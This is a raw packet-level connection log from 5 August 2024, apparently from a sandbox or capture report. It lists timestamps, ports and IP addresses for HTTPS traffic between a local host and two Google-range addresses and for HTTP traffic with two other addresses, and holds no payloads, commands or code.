Aug 5, 2024 12:00:47.390331984 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390341997 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390352011 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390358925 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.390398026 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.443449020 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.443521023 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.443551064 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.443564892 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.443572044 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.443610907 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.443619967 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.443650007 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.443713903 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.444324017 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.444338083 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.444828987 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.444854975 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.444957018 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.445147038 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.445162058 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.731527090 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731554985 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731564999 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731575966 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731587887 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731597900 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731609106 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731621027 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731636047 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731642962 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731647015 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731657982 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731666088 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731668949 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731679916 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731692076 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731693983 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731709957 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731715918 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731720924 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731749058 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731828928 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731861115 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731868982 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731880903 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731911898 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731920004 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731930971 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731940985 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731952906 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.731972933 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.731988907 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.732017994 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.732029915 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.732039928 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.732078075 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.732100964 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.732111931 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.732122898 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.732134104 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.732145071 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.732156038 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.732163906 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.732183933 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.733205080 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733411074 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733422041 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733441114 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733452082 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733463049 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733473063 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733473063 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.733483076 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.733484030 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733494997 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733503103 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.733511925 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733522892 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733527899 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.733534098 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733546019 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.733555079 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.733570099 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.771157026 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.771262884 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.773899078 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.773993015 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.777618885 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.777647018 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.778058052 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.778134108 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.778518915 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.782514095 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.818969011 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.819048882 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.819744110 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.819866896 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.821441889 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.821450949 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.821688890 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.821815014 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.822053909 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.824501991 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.868506908 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.909910917 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.910051107 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.910763025 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.910794020 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.912858963 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.912866116 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.050386906 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050410986 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050432920 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050443888 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050453901 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050465107 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050482988 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050487995 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050487995 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050498962 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050509930 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050520897 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050528049 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050565958 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050565958 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050574064 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050584078 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050595045 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050605059 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050615072 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050621986 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050626040 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050649881 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050668955 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050781965 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050808907 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050820112 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050858021 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050864935 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050868034 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050879002 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050895929 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050896883 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050928116 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.050987005 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.050997019 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051007986 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051018000 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051023006 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.051029921 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051043034 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.051064968 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.051131010 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051140070 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051151037 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051161051 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051203966 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.051728010 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051750898 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051762104 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051795006 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.051829100 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051841021 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051851988 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051862001 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051873922 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.051908970 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.051928043 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051938057 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051948071 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051959991 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051970005 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.051971912 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.052014112 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.052026033 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.052036047 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.052047014 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.052057028 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.052074909 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.052104950 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.099829912 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.099909067 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.100415945 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.100428104 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.100594997 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.100600958 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.313854933 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.313951015 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.314014912 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.314023018 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.314085960 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.314100981 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.314111948 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.314145088 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.314160109 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.314167023 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.314173937 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.314223051 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.314913034 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.314944029 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.315715075 CEST	49830	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.315747976 CEST	443	49830	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.315845966 CEST	49830	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.316272020 CEST	49830	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.316293001 CEST	443	49830	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.316497087 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.316507101 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.317070961 CEST	49831	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.317101955 CEST	443	49831	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.317378998 CEST	49831	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.320260048 CEST	49831	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.320271015 CEST	443	49831	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:48.326656103 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326703072 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326716900 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326757908 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.326761007 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326775074 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326797962 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326798916 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.326812983 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326823950 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326826096 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.326852083 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326864958 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326870918 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326874018 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.326877117 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326886892 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.326906919 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.327076912 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.327094078 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.327105045 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.327142954 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.327204943 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.332298040 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:48.332343102 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:48.348077059 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.348125935 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.348186016 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.348220110 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.348238945 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.348272085 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.348299026 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.350517035 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.350533009 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.355328083 CEST	49832	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.355355024 CEST	443	49832	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.355474949 CEST	49832	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.355915070 CEST	49832	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.355927944 CEST	443	49832	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.747857094 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.747904062 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.747992992 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.748012066 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.750154972 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.951560974 CEST	49826	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.951600075 CEST	443	49826	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.972147942 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.972188950 CEST	49830	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.972214937 CEST	49831	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:48.972235918 CEST	49832	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.972242117 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:48.975780964 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.977482080 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:48.977534056 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:49.418776035 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:49.418814898 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:49.418878078 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:49.421390057 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:49.421416998 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:49.421469927 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:49.422873020 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:49.422899008 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:49.512181044 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:49.512200117 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:49.627119064 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:49.627206087 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:49.632209063 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:49.632220030 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:49.633892059 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:49.633898020 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:49.874964952 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:49.879810095 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:49.879873991 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:49.880858898 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:49.885725021 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.062028885 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.062077045 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.062098026 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.062129974 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.062148094 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.062167883 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.062174082 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.062203884 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.062208891 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.062242031 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.063163042 CEST	49833	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.063185930 CEST	443	49833	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.082879066 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.082952976 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.083662987 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.083719969 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.087271929 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.087289095 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.087590933 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.087641001 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.088063002 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.128500938 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.154105902 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.154470921 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.154892921 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.154956102 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.156802893 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.156811953 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.157083988 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.157192945 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.157958984 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.200495005 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.480304003 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.480369091 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.480385065 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.480437994 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.480551004 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.480587959 CEST	443	49835	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.480635881 CEST	49835	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.481127024 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.481218100 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.481292963 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.481304884 CEST	49839	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.481343031 CEST	443	49839	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.481430054 CEST	49839	443	192.168.2.7	142.250.185.174
